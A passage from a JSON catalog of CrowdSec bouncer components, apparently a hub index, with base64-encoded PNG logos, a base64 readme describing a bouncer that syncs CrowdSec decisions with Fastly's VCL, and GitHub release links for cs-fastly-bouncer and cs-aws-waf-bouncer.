AgqJmKgIRQAABBBBAAAEEEEAAAQQQQAABBBBAgIIi3wACCCCAAAIIIIAAAggggAACCCCAAAIIaBagoKiZikAEEEAAAQQQQAABBBBAAAEEEEAAAQQQoKDIN4AAAggggAACCCCAAAIIIIAAAggggAACmgUoKGqmIhABBBBAAAEEEEAAAQQQQAABBBBAAAEEKCjyDSCAAAIIIIAAAggggAACCCCAAAIIIICAZgEKipqpCEQAAQQQQAABBBBAAAEEEEAAAQQQQAABCop8AwgggAACCCCAAAIIIIAAAggggAACCCCgWYCComYqAhFAAAEEEEAAAQQQQAABBBBAAAEEEECAgiLfAAIIIIAAAggggAACCCCAAAIIIIAAAghoFqCgqJmKQAQQQAABBBBAAAEEEEAAAQQQQAABBBCgoMg3gAACCCCAAAIIIIAAAggggAACCCCAAAKaBSgoaqYiEAEEEEAAAQQQQAABBBBAAAEEEEAAAQQoKPINIIAAAggggAACCCCAAAIIIIAAAggggIBmAQqKmqkIRAABBBBAAAEEEEAAAQQQQAABBBBAAAEKinwDCCCAAAIIIIAAAggggAACCCCAAAIIIKBZ4P8BcKSQCyKjAqUAAAAASUVORK5CYII=", "url": "https://github.com/crowdsecurity/cs-fastly-bouncer", "description": "", "stars": 0, "downloads": 0, "readme_content": "PHAgYWxpZ249ImNlbnRlciI+CjxpbWcgc3JjPSJodHRwczovL2dpdGh1Yi5jb20vY3Jvd2RzZWN1cml0eS9jcy1mYXN0bHktYm91bmNlci9yYXcvZGV2L2RvY3Mvc3RhdGljL2NzLWZhc3RseS5wbmciIGFsdD0iQ3Jvd2RTZWMiIHRpdGxlPSJDcm93ZFNlYyIgd2lkdGg9IjI4MCIgaGVpZ2h0PSIzMDAiIC8+CjwvcD4KPHAgYWxpZ249ImNlbnRlciI+CjxpbWcgc3JjPSJodHRwczovL2ltZy5zaGllbGRzLmlvL2JhZGdlL2J1aWxkLXBhc3MtZ3JlZW4iPgo8aW1nIHNyYz0iaHR0cHM6Ly9pbWcuc2hpZWxkcy5pby9iYWRnZS90ZXN0cy1wYXNzLWdyZWVuIj4KPC9wPgo8cCBhbGlnbj0iY2VudGVyIj4KJiN4MUY0REE7IDxhIGhyZWY9IiNpbnN0YWxsYXRpb24vIj5Eb2N1bWVudGF0aW9uPC9hPgomI3gxRjRBMDsgPGEgaHJlZj0iaHR0cHM6Ly9odWIuY3Jvd2RzZWMubmV0Ij5IdWI8L2E+CiYjMTI4MTcyOyA8YSBocmVmPSJodHRwczovL2Rpc2NvdXJzZS5jcm93ZHNlYy5uZXQiPkRpc2NvdXJzZSA8L2E+CjwvcD4KCiMgY3MtZmFzdGx5LWJvdW5jZXIKCkEgYm91bmNlciB0aGF0IHN5bmNzIHRoZSBkZWNpc2lvbnMgbWFkZSBieSBDcm93ZFNlYyB3aXRoIEZhc3RseSdzIFZDTC4gTWFuYWdlcyBtdWx0aSBhY2NvdW50LCBtdWx0aSBzZXJ2aWNlIHNldHVwLiBTdXBwb3J0cyBJUCwgQ291bnRyeSBhbmQgQVMgc2NvcGVkIGRlY2lzaW9ucy4KCiMgRG9jdW1lbnRhdGlvbgoKUGxlYXNlIGZvbGxvdyBbdGhlIG9mZmljaWFsIGRvY3VtZW50YXRpb25dKGh0dHBzOi8vZG9jcy5jcm93ZHNlYy5uZXQvZG9jcy9uZXh0L2JvdW5jZXJzL2Zhc3RseSkK", "status": "stable", "version": "v0.0.2", "assets": [ { "name": "Tarball (source code)", "download_url": "https://api.github.com/repos/crowdsecurity/cs-fastly-bouncer/tarball/v0.0.2", "asset_url": "https://api.github.com/repos/crowdsecurity/cs-fastly-bouncer/tarball/v0.0.2" }, { "name": "Zipball (source code)", "download_url": "https://api.github.com/repos/crowdsecurity/cs-fastly-bouncer/zipball/v0.0.2", "asset_url": "https://api.github.com/repos/crowdsecurity/cs-fastly-bouncer/zipball/v0.0.2" } ] }, { "name": "cs-aws-waf-bouncer", "author": "crowdsecurity", "logo": "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